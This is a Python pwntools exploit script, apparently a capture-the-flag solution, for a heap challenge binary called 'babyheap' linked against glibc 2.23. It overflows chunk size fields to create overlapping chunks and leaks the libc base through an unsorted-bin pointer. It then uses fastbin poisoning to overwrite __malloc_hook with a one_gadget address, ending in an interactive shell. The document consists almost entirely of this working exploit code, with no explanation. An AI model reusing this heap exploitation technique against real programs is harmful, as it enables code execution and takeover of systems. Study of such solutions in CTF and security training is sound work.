1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98
| from pwn import * local = 1 one_gadget = [0x45216 , 0x4526a , 0xf02a4 , 0xf1147] if local: p = process('./babyheap') libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so') else: print 'time is up;'
def allocate(size): p.recv(1024) p.sendline('1') p.recvuntil('Size: ') p.sendline(str(size))
def update(index , size , content): p.recv(1024) p.sendline('2') p.recvuntil('Index: ') p.sendline(str(index)) p.recvuntil('Size: ') p.sendline(str(size)) p.recvuntil('Content: ') p.sendline(content)
def delete(index): p.recv(1024) p.sendline('3') p.recvuntil('Index: ') p.sendline(str(index))
def view(index): p.recv(1024) p.sendline('4') p.recvuntil('Index: ') p.sendline(str(index)) return p.recvuntil('\n')[:-1]
def debug(): print pidof(p)[0] raw_input()
allocate(0x18) allocate(0x18) allocate(0x18) allocate(0x40) allocate(0x18) allocate(0x58) update(0 , 0x19 , 'a' * 0x18 + '\x41') delete(1) allocate(0x30) update(1 , 0x20 , '\x00' * 0x18 + '\x91' + '\x00' * 7) delete(3) delete(2) aaa = view(1) aaa = aaa.rstrip('\n')[-8:] libc.address = u64(aaa) - 0x3c4b78 success('libc_base => ' + hex(libc.address)) dst_addr = libc.address + 0x3c4b40 success('dst_addr => ' + hex(dst_addr)) malloc_hook = libc.symbols['__malloc_hook'] success('malloc_hook => ' + hex(malloc_hook))
allocate(0x58) update(2 , 0x20 , '\x00' * 0x18 + '\x51' + '\x00' * 7) allocate(0x20) update(3 , 0x10 , '\x00' * 0x8 + '\x21' + '\x00' * 7) allocate(0x40) update(6 , 0x40 , '\x00' * 0x38 + '\x31' + '\x00' * 7) update(3 , 0x20 , '\x00' * 0x18 + '\x21' + '\x00' * 7) update(5 , 0x10 , '\x00' * 8 + '\x51' + '\x00' * 7) update(2 , 0x20 , '\x00' * 0x18 + '\x61' + '\x00' * 7) delete(6) update(2 , 0x28 , '\x00' * 0x18 + '\x61' + '\x00' * 7 + '\x41' + '\x00' * 7) allocate(0x50) allocate(0x30) update(2 , 0x59 , '\x00' * 0x18 + '\x41' + '\x00' * 0x3f + '\x41') delete(3) allocate(0x38) update(3 , 0x29 , '\x00' * 0x28 + '\x41') update(5 , 0x39 , '\x00' * 0x38 + '\x21') delete(5) update(3 , 0x38 , '\x00' * 0x28 + '\x41' + '\x00' * 7 + p64(dst_addr)) allocate(0x30) allocate(0x30)
update(8 , 0x30 , '\x00' * 0x28 + p64(malloc_hook - 0x10))
allocate(0x10) update(9 , 0x8 , p64(libc.address + one_gadget[1]))
allocate(0x10)
p.interactive()
|